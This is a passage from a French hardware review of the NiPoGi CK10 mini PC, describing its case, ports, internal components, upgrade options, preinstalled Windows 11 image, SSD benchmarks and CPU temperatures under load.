<figure class="wp-block-image size-large"><a href="media/64e7e27e.Test-NiPoGi-CK10-Mini-PC-accessoires.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Mini-PC-accessoires.jpg"><img decoding="async" width="800" height="602" src="media/2e0ae732.Test-NiPoGi-CK10-Mini-PC-accessoires-800x602.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Mini-PC-accessoires-800x602.jpg" alt="" class="wp-image-79256" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Mini-PC-accessoires-800x602.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Mini-PC-accessoires-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Mini-PC-accessoires-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Mini-PC-accessoires-768x578.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Mini-PC-accessoires-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Mini-PC-accessoires.jpg 1000w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure>



<p><strong>Le boitier gris anthracite de ce mini PC NiPoGi est entièrement en plastique.</strong> Le plastique est rigide et semble relativement solide. Le boitier est correctement assemblé et tous les ports sont bien accessibles : aucun défaut n'est à relever. La seule chose qui me gêne réellement, c'est l'emplacement hasardeux des deux stickers sur le dessus du boitier (que l'on peut retirer facilement). En dessous, nous retrouvons 4 patins antidérapants d'une épaisseur de 4 mm. Nous constatons qu'il y a une entrée d'air sur le dessus, mais aussi en dessous du boitier, tandis que l'extraction de l'air s'effectue par l'arrière du boitier.</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-2 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/c18a8d9a.Test-NiPoGi-CK10-Photo-Dessus-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Dessus-1.jpg"><img decoding="async" width="1000" height="752" data-id="79261" src="media/c18a8d9a.Test-NiPoGi-CK10-Photo-Dessus-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Dessus-1.jpg" alt="" class="wp-image-79261" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Dessus-1.jpg 1000w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Dessus-1-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Dessus-1-800x602.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Dessus-1-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Dessus-1-768x578.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Dessus-1-50x38.jpg 50w" sizes="(max-width: 1000px) 100vw, 1000px" /></a></figure>



<figure class="wp-block-image size-full"><a href="media/4537323b.Test-NiPoGi-CK10-Photo-Dessus-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Dessus-2.jpg"><img decoding="async" width="1000" height="752" data-id="79263" src="media/4537323b.Test-NiPoGi-CK10-Photo-Dessus-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Dessus-2.jpg" alt="" class="wp-image-79263" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Dessus-2.jpg 1000w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Dessus-2-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Dessus-2-800x602.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Dessus-2-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Dessus-2-768x578.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Dessus-2-50x38.jpg 50w" sizes="(max-width: 1000px) 100vw, 1000px" /></a></figure>



<figure class="wp-block-image size-full"><a href="media/b08ec17e.Test-NiPoGi-CK10-Photo-Dessous.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Dessous.jpg"><img decoding="async" width="1000" height="752" data-id="79262" src="media/b08ec17e.Test-NiPoGi-CK10-Photo-Dessous.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Dessous.jpg" alt="" class="wp-image-79262" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Dessous.jpg 1000w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Dessous-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Dessous-800x602.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Dessous-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Dessous-768x578.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Dessous-50x38.jpg 50w" sizes="(max-width: 1000px) 100vw, 1000px" /></a></figure>
</figure>



<p><strong>La façade de ce mini PC est riche en connectique puisque 2 ports USB 3.0, 1 port USB-C et une prise Jack sont facilement accessibles.</strong> À l'arrière, il y a également 2 ports USB 3.0, ainsi que 2 ports HDMI et une interface RJ45 Gigabit Ethernet (1 Gbit/s). Sur la gauche du boitier, il y a également <strong>un port VGA : ce qui est assez rare de nos jours</strong>, mais cela permet à ce modèle de se démarquer ! Ainsi, <strong>vous pouvez connecter 3 écrans : 2 en HDMI et 1 en VGA.</strong> D'ailleurs, le port VGA pourrait être utilisé pour connecter un vidéoprojecteur ou un écran qui n'est pas équipé d'un port HDMI.</p>



<figure class="wp-block-gallery has-nested-images columns-4 is-cropped wp-block-gallery-3 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/b6d22d99.Test-NiPoGi-CK10-Photo-Avant.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Avant.jpg"><img decoding="async" width="1000" height="752" data-id="79260" src="media/b6d22d99.Test-NiPoGi-CK10-Photo-Avant.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Avant.jpg" alt="" class="wp-image-79260" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Avant.jpg 1000w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Avant-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Avant-800x602.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Avant-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Avant-768x578.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Avant-50x38.jpg 50w" sizes="(max-width: 1000px) 100vw, 1000px" /></a></figure>



<figure class="wp-block-image size-full"><a href="media/ec5a096c.Test-NiPoGi-CK10-Photo-Cote-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Cote-2.jpg"><img decoding="async" width="1000" height="752" data-id="79257" src="media/ec5a096c.Test-NiPoGi-CK10-Photo-Cote-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Cote-2.jpg" alt="" class="wp-image-79257" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Cote-2.jpg 1000w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Cote-2-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Cote-2-800x602.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Cote-2-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Cote-2-768x578.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Cote-2-50x38.jpg 50w" sizes="(max-width: 1000px) 100vw, 1000px" /></a></figure>



<figure class="wp-block-image size-full"><a href="media/74466360.Test-NiPoGi-CK10-Photo-Cote-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Cote-1.jpg"><img decoding="async" width="1000" height="752" data-id="79259" src="media/74466360.Test-NiPoGi-CK10-Photo-Cote-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Cote-1.jpg" alt="" class="wp-image-79259" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Cote-1.jpg 1000w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Cote-1-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Cote-1-800x602.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Cote-1-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Cote-1-768x578.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Cote-1-50x38.jpg 50w" sizes="(max-width: 1000px) 100vw, 1000px" /></a></figure>



<figure class="wp-block-image size-full"><a href="media/6030b38b.Test-NiPoGi-CK10-Photo-Arriere.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Arriere.jpg"><img decoding="async" width="1000" height="752" data-id="79258" src="media/6030b38b.Test-NiPoGi-CK10-Photo-Arriere.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Arriere.jpg" alt="" class="wp-image-79258" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Arriere.jpg 1000w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Arriere-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Arriere-800x602.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Arriere-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Arriere-768x578.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Test-NiPoGi-CK10-Photo-Arriere-50x38.jpg 50w" sizes="(max-width: 1000px) 100vw, 1000px" /></a></figure>
</figure>



<p>Pour <strong>ouvrir le boitier et accéder à l'intérieur, il suffit de retirer les 4 vis présentes en dessous du boitier</strong>. Ceci va nous permettre de découvrir les composants et l'image ci-dessous montre l'emplacement pour disque SATA, au format 2.5 pouces.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="602" src="media/f87baf05.NiPoGi-CK10-Ajout-disque-SATA.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Ajout-disque-SATA.jpg" alt="" class="wp-image-79639" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Ajout-disque-SATA.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Ajout-disque-SATA-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Ajout-disque-SATA-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Ajout-disque-SATA-768x578.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Ajout-disque-SATA-50x38.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>À l'intérieur du boitier, il y a un espace confortable entre les différents composants, mais ce sera différent si vous ajoutez un disque SATA 2.5 pouces. Néanmoins,<strong> il est important de préciser que ce boitier est un peu plus grand que beaucoup d'autres modèles de mini PC</strong>. Voici ce qui est à noter :</p>



<ul>
<li>Il y a <strong>deux slots pour la mémoire vive (RAM) </strong>et les deux sont déjà occupés par 2 barrettes de 8 Go</li>



<li>Il y a <strong>deux barrettes de RAM SO-DIMM</strong> de marque Lexar : <strong>8 Go 1Rx8 PC4-3200</strong>AA-SA21.2V</li>



<li>Il y a <strong>un disque SSD NVMe</strong>, équipé d'<strong>un dissipateur </strong>et d'<strong>une épaisse couche de pâte thermique</strong>. C'est appréciable (mais ceci nous empêche de lire l'étiquette pour en savoir plus sur la référence).</li>



<li>Il y a <strong>un emplacement libre pour ajouter un second disque SSD NVMe</strong> (PCIe 3.0)</li>



<li>Il y a <strong>une carte RealTek RTL8852BE </strong>pour le Wi-Fi 6 et le Bluetooth 5.2</li>
</ul>



<p><strong>Voici les entrailles du CK10 en photos :</strong></p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-4 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/9bb27459.NiPoGi-CK10-Vue-interieur-du-boitier-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Vue-interieur-du-boitier-1.jpg"><img decoding="async" width="1000" height="752" data-id="79641" src="media/9bb27459.NiPoGi-CK10-Vue-interieur-du-boitier-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Vue-interieur-du-boitier-1.jpg" alt="" class="wp-image-79641" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Vue-interieur-du-boitier-1.jpg 1000w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Vue-interieur-du-boitier-1-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Vue-interieur-du-boitier-1-800x602.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Vue-interieur-du-boitier-1-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Vue-interieur-du-boitier-1-768x578.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Vue-interieur-du-boitier-1-50x38.jpg 50w" sizes="(max-width: 1000px) 100vw, 1000px" /></a></figure>



<figure class="wp-block-image size-full"><a href="media/b0835f71.NiPoGi-CK10-Vue-interieur-du-boitier-3.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Vue-interieur-du-boitier-3.jpg"><img decoding="async" width="1000" height="750" data-id="79643" src="media/b0835f71.NiPoGi-CK10-Vue-interieur-du-boitier-3.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Vue-interieur-du-boitier-3.jpg" alt="" class="wp-image-79643" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Vue-interieur-du-boitier-3.jpg 1000w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Vue-interieur-du-boitier-3-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Vue-interieur-du-boitier-3-800x600.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Vue-interieur-du-boitier-3-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Vue-interieur-du-boitier-3-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Vue-interieur-du-boitier-3-50x38.jpg 50w" sizes="(max-width: 1000px) 100vw, 1000px" /></a></figure>



<figure class="wp-block-image size-full"><a href="media/7c98770f.NiPoGi-CK10-Vue-interieur-du-boitier-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Vue-interieur-du-boitier-2.jpg"><img decoding="async" width="1000" height="750" data-id="79642" src="media/7c98770f.NiPoGi-CK10-Vue-interieur-du-boitier-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Vue-interieur-du-boitier-2.jpg" alt="" class="wp-image-79642" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Vue-interieur-du-boitier-2.jpg 1000w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Vue-interieur-du-boitier-2-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Vue-interieur-du-boitier-2-800x600.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Vue-interieur-du-boitier-2-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Vue-interieur-du-boitier-2-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Vue-interieur-du-boitier-2-50x38.jpg 50w" sizes="(max-width: 1000px) 100vw, 1000px" /></a></figure>
</figure>



<p></p>



<h2 class="wp-block-heading">IV. Évolutivité et performances</h2>



<h3 class="wp-block-heading">A. Mise en route et évolutivité</h3>



<p><strong>Ce mini PC est livré avec le système Windows 11 Pro, en version 22H2, donc il y aura des mises à jour à installer</strong>. Nous devons finaliser la mise en route, mais cela est très rapide puisque nous devons seulement définir le nom d'utilisateur. Il s'agit d'une image personnalisée par NiPoGi (probablement avec un fichier de réponse) et <strong>elle occupe 37 Go sur le disque</strong> (ce qui est beaucoup !).</p>



<p>Comme pour tous les ordinateurs, je vous recommande de réinstaller la machine avec une image propre et téléchargée depuis le site de Microsoft si vous souhaitez continuer sur Windows. Cette machine est pleinement compatible avec Windows 11, car elle respecte tous les prérequis (y compris la puce TPM 2.0).</p>



<p>À part Google Chrome qui est intégré à l'image de Windows 11, il n'y a pas d'autres logiciels supplémentaires visibles. Bien entendu, nous avons le droit à toute la panoplie d'applications de chez Microsoft.</p>



<figure data-wp-context="{&quot;uploadedSrc&quot;:&quot;https:\/\/www.it-connect.fr\/wp-content-itc\/uploads\/2024\/04\/NiPoGi-CK10-Windows-11-Pro.jpg&quot;,&quot;figureClassNames&quot;:&quot;wp-block-image size-large&quot;,&quot;figureStyles&quot;:null,&quot;imgClassNames&quot;:&quot;wp-image-79648&quot;,&quot;imgStyles&quot;:null,&quot;targetWidth&quot;:1200,&quot;targetHeight&quot;:724,&quot;scaleAttr&quot;:false,&quot;ariaLabel&quot;:&quot;Agrandir l\u2018image&quot;,&quot;alt&quot;:&quot;&quot;}" data-wp-interactive="core/image" class="wp-block-image size-large wp-lightbox-container"><img decoding="async" width="800" height="483" data-wp-init="callbacks.setButtonStyles" data-wp-on--click="actions.showLightbox" data-wp-on--load="callbacks.setButtonStyles" data-wp-on-window--resize="callbacks.setButtonStyles" src="media/73480ea0.NiPoGi-CK10-Windows-11-Pro-800x483.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Windows-11-Pro-800x483.jpg" alt="" class="wp-image-79648" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Windows-11-Pro-800x483.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Windows-11-Pro-550x332.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Windows-11-Pro-150x91.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Windows-11-Pro-768x463.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Windows-11-Pro-50x30.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Windows-11-Pro.jpg 1200w" sizes="(max-width: 800px) 100vw, 800px" /><button
			class="lightbox-trigger"
			type="button"
			aria-haspopup="dialog"
			aria-label="Agrandir l‘image"
			data-wp-init="callbacks.initTriggerButton"
			data-wp-on--click="actions.showLightbox"
			data-wp-style--right="context.imageButtonRight"
			data-wp-style--top="context.imageButtonTop"
		>
			<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewBox="0 0 12 12">
				<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z" />
			</svg>
		</button></figure>



<p>Le mini-PC est livré avec<strong> 16 Go de RAM en DDR</strong>4, mais <strong>une mise à niveau est possible</strong>. Le processeur i5 de ce modèle supporte <strong>64 Go de RAM</strong>, ce qui signifie que <strong>nous pouvons remplacer les 2 barrettes de 8 Go par 2 x 32 Go</strong>. De quoi faire une belle évolution si vous souhaitez utiliser ce PC pour de la virtualisation.</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-5 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/0bf8bbdd.NiPoGi-CK10-CPU.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-CPU.png"><img decoding="async" width="397" height="401" data-id="79650" src="media/0bf8bbdd.NiPoGi-CK10-CPU.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-CPU.png" alt="" class="wp-image-79650" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-CPU.png 397w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-CPU-50x50.png 50w" sizes="(max-width: 397px) 100vw, 397px" /></a></figure>



<figure class="wp-block-image size-full"><a href="media/e42845ff.NiPoGi-CK10-Carte-mere.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Carte-mere.png"><img decoding="async" width="398" height="398" data-id="79649" src="media/e42845ff.NiPoGi-CK10-Carte-mere.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Carte-mere.png" alt="" class="wp-image-79649" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Carte-mere.png 398w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Carte-mere-150x150.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Carte-mere-50x50.png 50w" sizes="(max-width: 398px) 100vw, 398px" /></a></figure>
</figure>



<p></p>



<p><strong>En résumé, pour faire évoluer la configuration de ce mini PC, vous avez plusieurs options : augmenter la RAM, ajouter un disque SATA (2.5 pouces) et ajouter un disque SSD NVMe.</strong></p>



<h3 class="wp-block-heading">B. Performances</h3>



<p>Ce mini PC est propulsé par un <strong>processeur Intel Core i5 de 12ème génération</strong> lancé au premier trimestre 2022. Le modèle <strong>i5-12450H</strong> a<strong> 8 cœurs et 12 threads</strong>, 12 Mo de cache et sa fréquence maximale en mode Turbo est <strong>4,4 GHz</strong>. Sachez que NiPoGi a limité la consommation d'énergie du CPU à 35 watts, ce qui affectera légèrement les performances sur du traitement <em>multithread</em>.</p>



<p>Commençons par mesurer les performances du disque SSD NVMe intégré à l'ordinateur.</p>



<p>Le SSD NVMe présent dans ce mini PC NiPoGi offre de belles performances :<strong> un copier-coller de gros fichiers en local </strong>(de disque à disque, sur le même volume), est effectué avec <strong>une vitesse moyenne de 834 Mo/s</strong>.</p>



<p><strong>Voici un benchmark du disque effectué avec Crystal Disk Mark :</strong></p>



<figure class="wp-block-image size-full"><img decoding="async" width="477" height="348" src="media/18a8feb7.NiPoGi-CK10-Benchmark-SSD.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Benchmark-SSD.png" alt="" class="wp-image-79654" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Benchmark-SSD.png 477w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Benchmark-SSD-150x109.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Benchmark-SSD-50x36.png 50w" sizes="(max-width: 477px) 100vw, 477px" /></figure>



<p>Ainsi qu'un aperçu du disque dans Crystal Disk Info :</p>



<figure class="wp-block-image size-full"><img decoding="async" width="670" height="687" src="media/d5dd4a01.NiPoGi-CK10-Informations-SSD.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Informations-SSD.png" alt="" class="wp-image-79655" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Informations-SSD.png 670w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Informations-SSD-550x564.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Informations-SSD-146x150.png 146w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Informations-SSD-50x50.png 50w" sizes="(max-width: 670px) 100vw, 670px" /></figure>



<p>J'ai également effectué un <strong>benchmark du CPU et du GPU avec Geekbench</strong>, vous pouvez y accéder sur ces pages :</p>



<ul>
<li><a href="https://browser.geekbench.com/v6/cpu/5742534" target="_blank" rel="noopener nofollow" title="">Geekbench - CPU - NiPoGi CK10</a></li>



<li><a href="https://browser.geekbench.com/v6/compute/2062085" target="_blank" rel="noopener nofollow" title="">Geekbench - GPU - NiPoGi CK10</a></li>
</ul>



<p><strong>Comment réagit le PC lors d'un stress CPU ?</strong></p>



<p>Pendant le stress test du CPU (charge à 100%), la ventilation souffle un peu plus fort, mais cela reste discret. Au ralenti, les ventilateurs sont vraiment très discrets et ne vous gêneront pas du tout. </p>



<p>D'après HWMonitor, lorsque le mini PC est allumé sans être sollicité, la température du CPU est de 40°C. Pendant le stress test du CPU, <strong>la température du CPU monte en flèche jusqu'à 91.0°C</strong> (au bout de 5 minutes, environ). Ceci n'est pas surprenant, car l'air exfiltré par l'arrière du boitier est bien chaud ! Par contre, ensuite, la température met du temps à redescendre, comme si le système de refroidissement était un peu à la peine.</p>



<p><strong>Que peut-on faire et ne pas faire avec ce modèle ?</strong></p>



<p>Au quotidien, pour de la bureautique et un peu de multimédia, ce PC est parfaitement adapté. Il est très silencieux et supporte très bien la navigation sur Internet avec de nombreux onglets, la lecture de vidéos en 4K (sur YouTube, par exemple), mais également l'utilisation d'applications telles que la suite Microsoft Office. Ceci en fait un compagnon intéressant et abordable si vous recherchez ce type de mini PC.</p>



<p>La principale limitation, c'est la puce graphique intégrée : Intel UHD Graphics qui est un iGPU. Autrement dit, ce n'est pas une configuration adaptée au gaming. Vous pouvez envisager de jouer à des jeux peu gourmands, ou, à des jeux disponibles depuis 3 ans, 4 ans, ou plus, en ajustant les paramètres de qualité graphique, mais c'est tout. À titre d'exemple, vous pouvez jouer à GTA V : tous les effets visuels ne peuvent pas être activés, mais en Full HD, le jeu est fluide !</p>



<p>Voici un aperçu (à gauche, une copie d'écran - à droite, une photo de l'écran).</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-6 is-layout-flex wp-block-gallery-is-layout-flex">
